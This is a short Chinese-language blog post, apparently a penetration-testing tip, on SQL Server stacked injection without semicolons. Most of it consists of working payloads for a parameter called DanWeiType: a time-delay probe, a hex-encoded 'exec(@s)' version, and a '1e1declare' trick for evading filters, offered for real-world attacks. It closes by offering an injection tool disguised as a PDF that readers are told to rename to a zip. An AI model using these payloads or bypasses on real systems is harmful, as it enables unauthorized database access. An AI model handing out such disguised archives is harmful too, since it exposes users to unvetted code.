前言

在SQL Server中, 如果想堆叠注入可以完全的无视“;”号, 遇到select以后数据库会自动帮我们分开sql
并且会通过 SQL Server 容错性自动,分成两个sql正常的去运行,并且我们还可以进行一些小改动,sql也是能正常执行的
可以查看下面的小例子进行学习

使用例子

  1. 例如下图中: 注入点是 DanWeiType
  2. 实际注入语句为: DanWeiType=11'select waitfor delay '0:0:2'
  3. 经过转换 DanWeiType=11'select declare @s varchar (8000) set @s=0x77616974666F722064656C61792027303A303A3227 exec (@s)
  4. 在经过绕过 DanWeiType=11'select 1e1declare @s varchar (8000) set @s=0x77616974666F722064656C61792027303A303A3227 exec (@s)
  5. 注意: 1e1declare 在经过数据库,1e1通过 SQL Server 容错性,是可以正常执行sql的
  6. 带入到数据库中执行的就是:
  7. select * from xxx where DanWeiType='11'select waitfor delay '0:0:2'
  8. 然后经过转换的,最终执行的语句为
  9. select * from xxx where DanWeiType='11'select 1e1declare @s varchar (8000) set @s=0x77616974666F722064656C61792027303A303A3227 exec (@s)

1.png
2.png
由上图可以看出是可以正常执行的,因此在实战中遇到 SQL Server 不用太“对齐”,容错性会帮助我们的 :)

工具

可能会有人想要这个工具,这里我就直接上传了,下载完毕以后把pdf修改为zip然后正常解压即可 :)
LiQiDiS_特别版_20171211.zip.pdf